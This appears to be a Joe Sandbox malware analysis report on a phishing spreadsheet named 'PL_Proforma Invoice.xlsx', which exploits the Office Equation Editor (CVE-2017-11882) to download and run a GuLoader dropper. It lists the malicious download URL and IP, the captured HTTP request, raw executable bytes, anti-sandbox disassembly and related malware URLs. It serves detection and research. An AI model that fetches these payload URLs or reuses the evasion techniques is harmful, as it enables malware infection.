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Analysis Report PL_Proforma Invoice.xlsx

Overview

General Information

Sample Name:	PL_Proforma Invoice.xlsx
Analysis ID:	342812
MD5:	07518e9ef3f985d592423d9c60c5c895
SHA1:	973721e65ade599942b6a166fedf17d0ccc7feb6
SHA256:	16ccda8530923cd7a4c92d8f2cfbb89c99c476c928e5af6e8248374e24a09f60
Tags:	HostgatorVelvetSweatshopxlsx
Most interesting Screenshot:

Detection

GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Sigma detected: Droppers Exploiting CVE-2017-11882

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

Yara detected GuLoader

Detected RDTSC dummy instruction sequence (likely for instruction hammering)

Drops PE files to the user root directory

Office equation editor drops PE file

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Sigma detected: Executables Started in Suspicious Folder

Sigma detected: Execution in Non-Executable Folder

Sigma detected: Suspicious Program Location Process Starts

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Yara detected VB6 Downloader Generic

Abnormal high CPU Usage

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Document misses a certain OLE stream usually present in this Microsoft Office document type

Downloads executable code via HTTP

Drops PE files

Drops PE files to the user directory

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Office Equation Editor has been started

PE file contains strange resources

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w7x64

EXCEL.EXE (PID: 1144 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

EQNEDT32.EXE (PID: 2584 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

vbc.exe (PID: 2816 cmdline: 'C:\Users\Public\vbc.exe' MD5: 3421EBB45A538C5044D484703448F2A7)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: vbc.exe PID: 2816	JoeSecurity_VB6DownloaderGeneric	Yara detected VB6 Downloader Generic	Joe Security
Process Memory Space: vbc.exe PID: 2816	JoeSecurity_GuLoader	Yara detected GuLoader	Joe Security

Sigma Overview

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Users\Public\vbc.exe' , CommandLine: 'C:\Users\Public\vbc.exe' , CommandLine|base64offset|contains: , Image: C:\Users\Public\vbc.exe, NewProcessName: C:\Users\Public\vbc.exe, OriginalFileName: C:\Users\Public\vbc.exe, ParentCommandLine: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 2584, ProcessCommandLine: 'C:\Users\Public\vbc.exe' , ProcessId: 2816

Sigma detected: EQNEDT32.EXE connecting to internet

Show sources

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 103.125.191.78, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 2584, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49165

Sigma detected: File Dropped By EQNEDT32EXE

Show sources

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 2584, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe

Sigma detected: Executables Started in Suspicious Folder

Show sources

Source: Process started

Sigma detected: Execution in Non-Executable Folder

Show sources

Source: Process started

Sigma detected: Suspicious Program Location Process Starts

Show sources

Source: Process started

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://kalamikwsdyonlinwtmg.dns.army/kaladoc/vbc.exe

Avira URL Cloud: Label: malware

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe	Virustotal: Detection: 10%			Perma Link
Source: C:\Users\Public\vbc.exe	Virustotal: Detection: 10%			Perma Link

Multi AV Scanner detection for submitted file

Show sources

Source: PL_Proforma Invoice.xlsx	Virustotal: Detection: 31%			Perma Link
Source: PL_Proforma Invoice.xlsx	ReversingLabs: Detection: 23%

Exploits:

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Process created: C:\Users\Public\vbc.exe

Source: unknown

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding

Compliance:

Uses new MSVCR Dlls

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Software Vulnerabilities:

Source: global traffic

DNS query: name: kalamikwsdyonlinwtmg.dns.army

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 103.125.191.78:80

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 103.125.191.78:80

Networking:

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Jan 2021 17:59:17 GMTServer: Apache/2.4.34 (Win32) OpenSSL/1.0.2o PHP/5.6.38Last-Modified: Thu, 21 Jan 2021 09:21:44 GMTETag: "18000-5b96599a963e0"Accept-Ranges: bytesContent-Length: 98304Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d7 c8 c4 49 93 a9 aa 1a 93 a9 aa 1a 93 a9 aa 1a 10 b5 a4 1a 92 a9 aa 1a dc 8b a3 1a 9f a9 aa 1a a5 8f a7 1a 92 a9 aa 1a 52 69 63 68 93 a9 aa 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 86 1d 25 55 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 40 01 00 00 40 00 00 00 00 00 00 64 13 00 00 00 10 00 00 00 50 01 00 00 00 40 00 00 10 00 00 00 10 00 00 04 00 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 90 01 00 00 10 00 00 f9 84 01 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 34 49 01 00 28 00 00 00 00 70 01 00 26 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 02 00 00 20 00 00 00 00 10 00 00 1c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 18 3e 01 00 00 10 00 00 00 40 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 68 15 00 00 00 50 01 00 00 10 00 00 00 50 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 26 19 00 00 00 70 01 00 00 20 00 00 00 60 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 c3 1f b0 49 10 00 00 00 00 00 00 00 00 00 00 00 4d 53 56 42 56 4d 36 30 2e 44 4c 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View

IP Address: 103.125.191.78 103.125.191.78

Source: Joe Sandbox View

ASN Name: VNPT-AS-VNVIETNAMPOSTSANDTELECOMMUNICATIONSGROUPVN VNPT-AS-VNVIETNAMPOSTSANDTELECOMMUNICATIONSGROUPVN

Source: global traffic

HTTP traffic detected: GET /kaladoc/vbc.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: kalamikwsdyonlinwtmg.dns.armyConnection: Keep-Alive

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\45EE6A89.emf

Jump to behavior

Source: global traffic

Source: unknown

DNS traffic detected: queries for: kalamikwsdyonlinwtmg.dns.army

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: Enable editing button from the yellow bar above. Once you have enabled editing, please click Enable
Source: Screenshot number: 4	Screenshot OCR: Enable Content button from the yellow bar above. 21 22 23 24 25 26 27 28 29 _ . 30 " " "

Office equation editor drops PE file

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file

Source: C:\Users\Public\vbc.exe

Process Stats: CPU usage > 98%

Source: C:\Users\Public\vbc.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Users\Public\vbc.exe	Memory allocated: 76D20000 page execute and read and write

Source: C:\Users\Public\vbc.exe

Code function: 4_2_0040745A

Source: PL_Proforma Invoice.xlsx

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: vbc[1].exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vbc.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLSX@4/6@2/1

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$PL_Proforma Invoice.xlsx

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR3330.tmp

Jump to behavior

Source: C:\Users\Public\vbc.exe

Section loaded: C:\Windows\SysWOW64\msvbvm60.dll

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\Public\vbc.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: PL_Proforma Invoice.xlsx	Virustotal: Detection: 31%
Source: PL_Proforma Invoice.xlsx	ReversingLabs: Detection: 23%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: unknown	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Source: PL_Proforma Invoice.xlsx

Static file information: File size 2516480 > 1048576

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Source: PL_Proforma Invoice.xlsx

Initial sample: OLE indicators vbamacros = False

Source: PL_Proforma Invoice.xlsx

Initial sample: OLE indicators encrypted = True

Data Obfuscation:

Yara detected GuLoader

Show sources

Source: Yara match

File source: Process Memory Space: vbc.exe PID: 2816, type: MEMORY

Yara detected VB6 Downloader Generic

Show sources

Source: Yara match

File source: Process Memory Space: vbc.exe PID: 2816, type: MEMORY

Source: C:\Users\Public\vbc.exe	Code function: 4_2_00404851 push 1C000090h; iretd
Source: C:\Users\Public\vbc.exe	Code function: 4_2_004044FE push esi; iretd
Source: C:\Users\Public\vbc.exe	Code function: 4_2_004092DF push 00000043h; iretd
Source: C:\Users\Public\vbc.exe	Code function: 4_2_004063D8 push ds; retf
Source: C:\Users\Public\vbc.exe	Code function: 4_2_002E32BC pushfd ; iretd

Source: initial sample	Static PE information: section name: .text entropy: 6.92993143866
Source: initial sample	Static PE information: section name: .text entropy: 6.92993143866

Persistence and Installation Behavior:

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Boot Survival:

Drops PE files to the user root directory

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX

Source: PL_Proforma Invoice.xlsx

Stream path 'EncryptedPackage' entropy: 7.99992498331 (max. 8.0)

Malware Analysis System Evasion:

Detected RDTSC dummy instruction sequence (likely for instruction hammering)

Show sources

Source: C:\Users\Public\vbc.exe	RDTSC instruction interceptor: First address: 00000000002E0290 second address: 00000000002E0290 instructions:
Source: C:\Users\Public\vbc.exe	RDTSC instruction interceptor: First address: 00000000002E0391 second address: 00000000002E0391 instructions:

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: vbc.exe

Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\Public\vbc.exe	RDTSC instruction interceptor: First address: 00000000002E0290 second address: 00000000002E0290 instructions:
Source: C:\Users\Public\vbc.exe	RDTSC instruction interceptor: First address: 00000000002E0391 second address: 00000000002E0391 instructions:
Source: C:\Users\Public\vbc.exe	RDTSC instruction interceptor: First address: 00000000002E2B65 second address: 00000000002E2B65 instructions: 0x00000000 rdtsc 0x00000002 xor eax, eax 0x00000004 inc eax 0x00000005 cpuid 0x00000007 popad 0x00000008 call 00007FE560D02F88h 0x0000000d lfence 0x00000010 mov edx, dword ptr [7FFE0014h] 0x00000016 lfence 0x00000019 ret 0x0000001a sub edx, esi 0x0000001c ret 0x0000001d jmp 00007FE560D02FA2h 0x0000001f cmp cx, cx 0x00000022 pop ecx 0x00000023 add edi, edx 0x00000025 test bh, 00000073h 0x00000028 dec ecx 0x00000029 cmp ecx, 00000000h 0x0000002c jne 00007FE560D02F4Bh 0x0000002e push ecx 0x0000002f call 00007FE560D02FE8h 0x00000034 call 00007FE560D02F98h 0x00000039 lfence 0x0000003c mov edx, dword ptr [7FFE0014h] 0x00000042 lfence 0x00000045 ret 0x00000046 mov esi, edx 0x00000048 pushad 0x00000049 rdtsc

Source: C:\Users\Public\vbc.exe

Code function: 4_2_002E584C rdtsc

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 1976

Thread sleep time: -360000s >= -30000s

Source: vbc.exe

Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe

Anti Debugging:

Source: C:\Users\Public\vbc.exe

Code function: 4_2_002E584C rdtsc

Source: C:\Users\Public\vbc.exe	Code function: 4_2_002E4800 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 4_2_002E1C00 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 4_2_002E5017 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 4_2_002E14A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 4_2_002E19B6 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 4_2_002E29E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 4_2_002E5799 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 4_2_002E5793 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 4_2_002E1BF8 mov eax, dword ptr fs:[00000030h]

HIPS / PFW / Operating System Protection Evasion:

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'

Source: vbc.exe, 00000004.00000002.2399583028.00000000008E0000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: vbc.exe, 00000004.00000002.2399583028.00000000008E0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: vbc.exe, 00000004.00000002.2399583028.00000000008E0000.00000002.00000001.sdmp	Binary or memory string: !Progman

Language, Device and Operating System Detection:

Source: C:\Users\Public\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Exploitation for Client Execution13	Path Interception	Process Injection12	Masquerading111	OS Credential Dumping	Security Software Discovery411	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	Virtualization/Sandbox Evasion1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer12	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion1	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection12	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol22	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Obfuscated Files or Information21	LSA Secrets	File and Directory Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Software Packing1	Cached Domain Credentials	System Information Discovery23	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
PL_Proforma Invoice.xlsx	31%	Virustotal		Browse
PL_Proforma Invoice.xlsx	24%	ReversingLabs	Document-Office.Exploit.Heuristic

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe	10%	Virustotal		Browse
C:\Users\Public\vbc.exe	10%	Virustotal		Browse

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://kalamikwsdyonlinwtmg.dns.army/kaladoc/vbc.exe	1%	Virustotal		Browse
http://kalamikwsdyonlinwtmg.dns.army/kaladoc/vbc.exe	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
kalamikwsdyonlinwtmg.dns.army	103.125.191.78	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://kalamikwsdyonlinwtmg.dns.army/kaladoc/vbc.exe	true	1%, Virustotal, Browse Avira URL Cloud: malware	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
103.125.191.78	unknown	Viet Nam		135905	VNPT-AS-VNVIETNAMPOSTSANDTELECOMMUNICATIONSGROUPVN	true

General Information

Joe Sandbox Version:	31.0.0 Red Diamond
Analysis ID:	342812
Start date:	21.01.2021
Start time:	18:57:43
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 13s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	PL_Proforma Invoice.xlsx
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLSX@4/6@2/1
EGA Information:	Failed
HDC Information:	Successful, ratio: 40.5% (good quality ratio 18.2%) Quality average: 24.2% Quality standard deviation: 29.8%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe TCP Packets have been reduced to 100

Simulations

Behavior and APIs

Time	Type	Description
18:59:23	API Interceptor	59x Sleep call for process: EQNEDT32.EXE modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
103.125.191.78	Purchase Order 45584.xlsx	Get hash	malicious	Browse	stdykalamikonlinedst.dns.navy/kaladoc/vbc.exe
	Purchase Order 02556.xlsx	Get hash	malicious	Browse	stdykalamikonlinedst.dns.navy/kaladoc/vbc.exe
	CI_PL_BL.xlsx	Get hash	malicious	Browse	kalamikwsdyonlinedws.dns.navy/kaladoc/vbc.exe
	Overdue_Invoice_2300492100_2300492101.xlsx	Get hash	malicious	Browse	stdykalamikonlinedpk.dns.army/kaladoc/vbc.exe
	SOA_November_December_2020_49588300.xlsx	Get hash	malicious	Browse	stdykalamikonlinedpk.dns.army/kaladoc/vbc.exe
	PI-Z-25- rev. 1 and 22021.xlsx	Get hash	malicious	Browse	sndykalamikonlinedel.dns.army/kaladoc/vbc.exe
	c4a1C1d0Gs.rtf	Get hash	malicious	Browse	103.125.191.78/receipt/invoice_555713.doc
	Order _PO Ref 101002020.xlsx	Get hash	malicious	Browse	103.125.191.78/receipt/invoice_14112415.doc

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
VNPT-AS-VNVIETNAMPOSTSANDTELECOMMUNICATIONSGROUPVN	Qyyfrnva_Signed_.exe	Get hash	malicious	Browse	103.89.89.210
	PAYMENT ADVICE20201SWFT.xlsx	Get hash	malicious	Browse	103.141.138.121
	Order 015736.xlsx	Get hash	malicious	Browse	103.99.1.172
	pmrime.xlsx	Get hash	malicious	Browse	103.99.1.158
	MV CORESHIP.xlsx	Get hash	malicious	Browse	103.99.1.149
	payment list.xlsx	Get hash	malicious	Browse	103.141.138.127
	bank slip.xlsx	Get hash	malicious	Browse	103.125.191.229
	_RFQ_MVSEASAIL_34.xlsx	Get hash	malicious	Browse	103.125.191.187
	Mv Maersk Kleven V949E.xlsx	Get hash	malicious	Browse	103.141.138.132
